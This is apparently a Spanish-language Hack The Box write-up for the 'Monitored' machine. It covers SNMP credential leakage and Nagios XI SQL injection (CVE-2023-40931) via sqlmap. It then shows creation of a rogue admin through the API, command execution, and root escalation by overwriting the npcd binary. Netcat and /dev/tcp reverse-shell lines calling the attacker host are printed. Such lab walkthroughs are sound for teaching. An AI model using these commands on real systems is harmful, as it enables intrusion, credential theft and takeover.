Descripción

Monitored es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración del servicio LDAP y SNMP
  • Vulnerabilidad de inyección SQL en Nagios XI (CVE-2023-40931)
  • Ejecución remota de comandos con Nagios usando una cuenta de administrador
  • Escalada de privilegios mediante un script SUDO vulnerable

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.242.138.

$ ping -c 3 10.129.242.138
PING 10.129.242.138 (10.129.242.138) 56(84) bytes of data.
64 bytes from 10.129.242.138: icmp_seq=1 ttl=63 time=46.4 ms
64 bytes from 10.129.242.138: icmp_seq=2 ttl=63 time=45.5 ms
64 bytes from 10.129.242.138: icmp_seq=3 ttl=63 time=45.1 ms

--- 10.129.242.138 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 45.104/45.662/46.399/0.543 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.242.138 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.138
Host is up (0.046s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
389/tcp open  ldap
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds

Obtenemos cuatro puertos abiertos: 22, 80, 389, y 443.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.242.138 -sV -sC -p22,80,389,443 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.138
Host is up (0.046s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
|   256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_  256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp  open  http     Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.56 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
|_http-title: Nagios XI
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.04 seconds

Obtenemos cuatro servicios: un Secure Shell (SSH), dos Hypertext Transfer Protocol (HTTP) y un servicio LDAP ejecutándose en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Podemos ver que el servicio HTTP y HTTPs están ejecutando un servicio Nagios que está redireccionando al subdominio de nagios. Así que lo agregamos al archivo /etc/hosts.

echo "10.129.242.138 nagios.monitored.htb" | sudo tee -a /etc/hosts

Si vamos al navegador web, vemos el panel de autenticación Nagios XI en /nagiosxi. Como no tenemos credenciales para Nagios ni una vulnerabilidad, vamos a comprobar el servicio LDAP. Podemos obtener información pública del servicio con Nmap.

$ nmap -n -sV -p 389 --script "ldap* and not brute" 10.129.242.138 -oN nmap_ldap
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.138
Host is up (0.046s latency).

PORT    STATE SERVICE VERSION
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       namingContexts: dc=monitored,dc=htb
|       supportedControl: 2.16.840.1.113730.3.4.18
|       supportedControl: 2.16.840.1.113730.3.4.2
|       supportedControl: 1.3.6.1.4.1.4203.1.10.1
|       supportedControl: 1.3.6.1.1.22
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.826.0.1.3344810.2.3
|       supportedControl: 1.3.6.1.1.13.2
|       supportedControl: 1.3.6.1.1.13.1
|       supportedControl: 1.3.6.1.1.12
|       supportedExtension: 1.3.6.1.4.1.4203.1.11.1
|       supportedExtension: 1.3.6.1.4.1.4203.1.11.3
|       supportedExtension: 1.3.6.1.1.8
|       supportedLDAPVersion: 3
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedSASLMechanisms: NTLM
|       supportedSASLMechanisms: CRAM-MD5
|_      subschemaSubentry: cn=Subschema
| ldap-search: 
|   Context: dc=monitored,dc=htb
|     dn: dc=monitored,dc=htb
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: monitored.htb
|_        dc: monitored

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

Observando las propiedades supportedExtension podemos movernos a enumerar el servicio SNMP, versión 1 y comunidad public, usando la herramienta snmpwalk. Somos capaces de enumerar exitosamente todas las propiedades.

$ snmpwalk -v 1 -c public 10.129.242.138
...
iso.3.6.1.2.1.25.4.2.1.5.504 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.505 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
iso.3.6.1.2.1.25.4.2.1.5.507 = STRING: "-n -iNONE"
iso.3.6.1.2.1.25.4.2.1.5.511 = ""
iso.3.6.1.2.1.25.4.2.1.5.512 = STRING: "-u -s -O /run/wpa_supplicant"
iso.3.6.1.2.1.25.4.2.1.5.514 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.526 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
...

Entre las propiedades encontramos procesos de ejecución y sus argumentos. Encontramos la cadena svc como nombre de usuario y XjH7VCehowpR1xZB (puede ser la contraseña). Si tratamos de iniciar sesión en /nagiosxi recibimos como respuesta que las credenciales son inválidas, pero si entramos en el directorio /nagios obtenemos acceso al panel. La version 4.4.13 de Nagios Core está funcionando. Volviendo a Nagios XI, una vulnerabilidad de inyección de SQL en Nagios XI desde la versión 5.11.0 hasta 5.11.1 permite a los atacantes autenticados ejecutar comandos SQL arbitrarios a través del parámetro ID en la solicitud POST a /nagiosxi/admin/banner_message-ajaxhelper.php, CVE-2023-40931. Como vemos necesitamos autenticación, por lo que tendremos que iniciar sesión en la API de Nagios, utilizando la herramienta curl.

$ curl -XPOST -k -L 'http://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'
{
    "username": "svc",
    "user_id": "2",
    "auth_token": "209c2d5f1307037b34ca0860421bfb45f425db86",
    "valid_min": 5
}

Ahora sólo necesitamos conseguir la cookie necesaria para autenticar en el punto final vulnerable, utilizando el inicio de sesión.

$ curl -vvv -k "https://nagios.monitored.htb/nagiosxi/login.php?token=209c2d5f1307037b34ca0860421bfb45f425db86" 2>&1 | grep Set-Cookie
< Set-Cookie: nagiosxi=757l6f78e3e2ubuo1k5lkip35q; expires=Sun, 14-Jan-2024 02:56:18 GMT; Max-Age=1800; path=/; secure; HttpOnly
< Set-Cookie: nagiosxi=757l6f78e3e2ubuo1k5lkip35q; expires=Sun, 14-Jan-2024 02:56:18 GMT; Max-Age=1800; path=/; secure; HttpOnly

Explotación

Ahora utilizamos la herramienta SQLMap para explotar la vulnerabilidad de la inyección SQL.

$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data "action=acknowledge_banner_message&id=1" --cookie="nagiosxi=757l6f78e3e2ubuo1k5lkip35q" -D nagiosxi -T xi_users -C username,password,api_key --dump         
...
Database: nagiosxi
Table: xi_users
[2 entries]
+-------------+--------------------------------------------------------------+------------------------------------------------------------------+
| username    | password                                                     | api_key                                                          |
+-------------+--------------------------------------------------------------+------------------------------------------------------------------+
| svc         | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK |
| nagiosadmin | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL |
+-------------+--------------------------------------------------------------+------------------------------------------------------------------+

Desde la base de datos obtenemos los hashes para dos usuarios, svc y nagiosadmin. También tenemos las claves de API para los dos usuarios. Vamos a utilizar la clave API del usuario administrador nagiosadmin para crear una nueva cuenta de administrador. Usaremos la API /nagiosxi/api/v1/system/user. Al final también podemos eliminar la cuenta creada. La cuenta creada tendrá el nombre de usuario newadmin y la contraseña newpassword.

$ curl -XPOST -k -L 'http://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -d "username=newadmin&password=newpassword&name=newadmin&email=newadmin@monitored.htb&auth_level=admin&force_pw_change=0"
{
    "success": "User account newadmin was added successfully!",
    "user_id": 6
}
$ curl -XDELETE -k -L 'http://nagios.monitored.htb/nagiosxi/api/v1/system/user/6?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1'       {
    "success": "User removed."
}

Con la nueva cuenta creada iniciaremos en la página de inicio de sesión de Nagios XI. Tendremos acceso al panel de administrador. Como ahora tenemos todos los permisos que necesitamos tenemos que encontrar una manera de ejecutar comandos para ganar una terminal remota. En este caso cambiaremos el comando check_ssh de Nagios que comprobará si el servicio SSH está funcionando. Podemos ver el servicio en Main Menu > Details > Service Status > SSH. En esta página en Configure > Re-configure this service en la pestaña Monitoring, veremos que el comando ejecutado es check_ssh. Volvemos a la página de estado. Podemos modificar el comando check_ssh para ejecutar una terminal remota. Para hacerlo vamos a ir a Top Bar > Configure > Core Config Manager y en Lateral Bar > Commands > Commands. Pulsamos en el comando. Ahora estamos en la ventana Command Management. El comando puede ser cambiado mediante la opción Command Line. Después de guardar la opción, iremos al final de la página y presionaremos el botón Apply Configuration. Ahora abriremos nuestro puerto de escucha con netcat.

$ nc -lvnp 1234

Volvemos al servicio SSH Service Status Detail y presionamos en Force an inmediate check para ejecutar el comando. Recibiremos la terminal después de unos segundos, así que la actualizaremos.

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.242.138] 36450
bash: cannot set terminal process group (26509): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:/tmp$ nc 10.10.14.51 1235 -e /bin/bash &
nc 10.10.14.51 1235 -e /bin/bash &
[1] 26515
nagios@monitored:/tmp$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
nagios@monitored:/tmp$ stty rows 48 columns 156
nagios@monitored:/tmp$ export TERM=xterm
nagios@monitored:/tmp$ export SHELL=bash

Post-Explotación

Ahora podemos ver los comandos que el usuario nagios puede ejecutar como el usuario root. Hay varios comandos permitidos sin contraseña.

nagios@monitored:/tmp$ sudo -l
Matching Defaults entries for nagios on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nagios may run the following commands on localhost:
    (root) NOPASSWD: /etc/init.d/nagios start
    (root) NOPASSWD: /etc/init.d/nagios stop
    (root) NOPASSWD: /etc/init.d/nagios restart
    (root) NOPASSWD: /etc/init.d/nagios reload
    (root) NOPASSWD: /etc/init.d/nagios status
    (root) NOPASSWD: /etc/init.d/nagios checkconfig
    (root) NOPASSWD: /etc/init.d/npcd start
    (root) NOPASSWD: /etc/init.d/npcd stop
    (root) NOPASSWD: /etc/init.d/npcd restart
    (root) NOPASSWD: /etc/init.d/npcd reload
    (root) NOPASSWD: /etc/init.d/npcd status
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *

Vamos a observar el script manage_services.sh. Este script nos permite aplicar operaciones en algunos servicios.

# Things you can do
first=("start" "stop" "restart" "status" "reload" "checkconfig" "enable" "disable")
second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm")

Comprobamos el servicio npcd.

nagios@monitored:/tmp$ sudo /usr/local/nagiosxi/scripts/manage_services.sh status npcd
● npcd.service - Nagios Process Control Daemon
     Loaded: loaded (/etc/systemd/system/npcd.service; enabled; vendor preset: enabled)
     Active: active (running)
   Main PID: 88395 (npcd)
      Tasks: 1 (limit: 4661)
     Memory: 196.0K
        CPU: 6ms
     CGroup: /system.slice/npcd.service
             └─88395 /usr/local/nagios/bin/npcd -f /usr/local/nagios/etc/pnp/npcd.cfg

Este servicio está ejecutando el binario /usr/local/nagios/bin/npcd. Vemos que tenemos la propiedad del archivo y tenemos permisos para escribir.

nagios@monitored:/tmp$ ls -l /usr/local/nagios/bin/npcd
-rwxr-xr-- 1 nagios nagios 31584 Jan 1 10:55 /usr/local/nagios/bin/npcd

Vamos a detener el servicio, crear una nueva terminal inversa en un archivo ejecutable, reescribir el binario npcd, abrir el puerto de escucha en nuestra máquina local, y finalmente iniciar el servicio para ejecutar nuestra terminal inversa.

nagios@monitored:/tmp$ cat<<EOF>shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.51/1240 0>&1

EOF
nagios@monitored:/tmp$ chmod +x shell
nagios@monitored:/tmp$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
nagios@monitored:/tmp$ cp shell /usr/local/nagios/bin/npcd
nagios@monitored:/tmp$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

Obtenemos una terminal inversa como el usuario root.

$ nc -lvnp 1240
listening on [any] 1240 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.242.138] 35944
bash: cannot set terminal process group (89329): Inappropriate ioctl for device
bash: no job control in this shell
root@monitored:/# id
uid=0(root) gid=0(root) groups=0(root)

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

root@monitored:/# cat /home/nagios/user.txt
<REDACTED>
root@monitored:/# cat /root/root.txt
<REDACTED>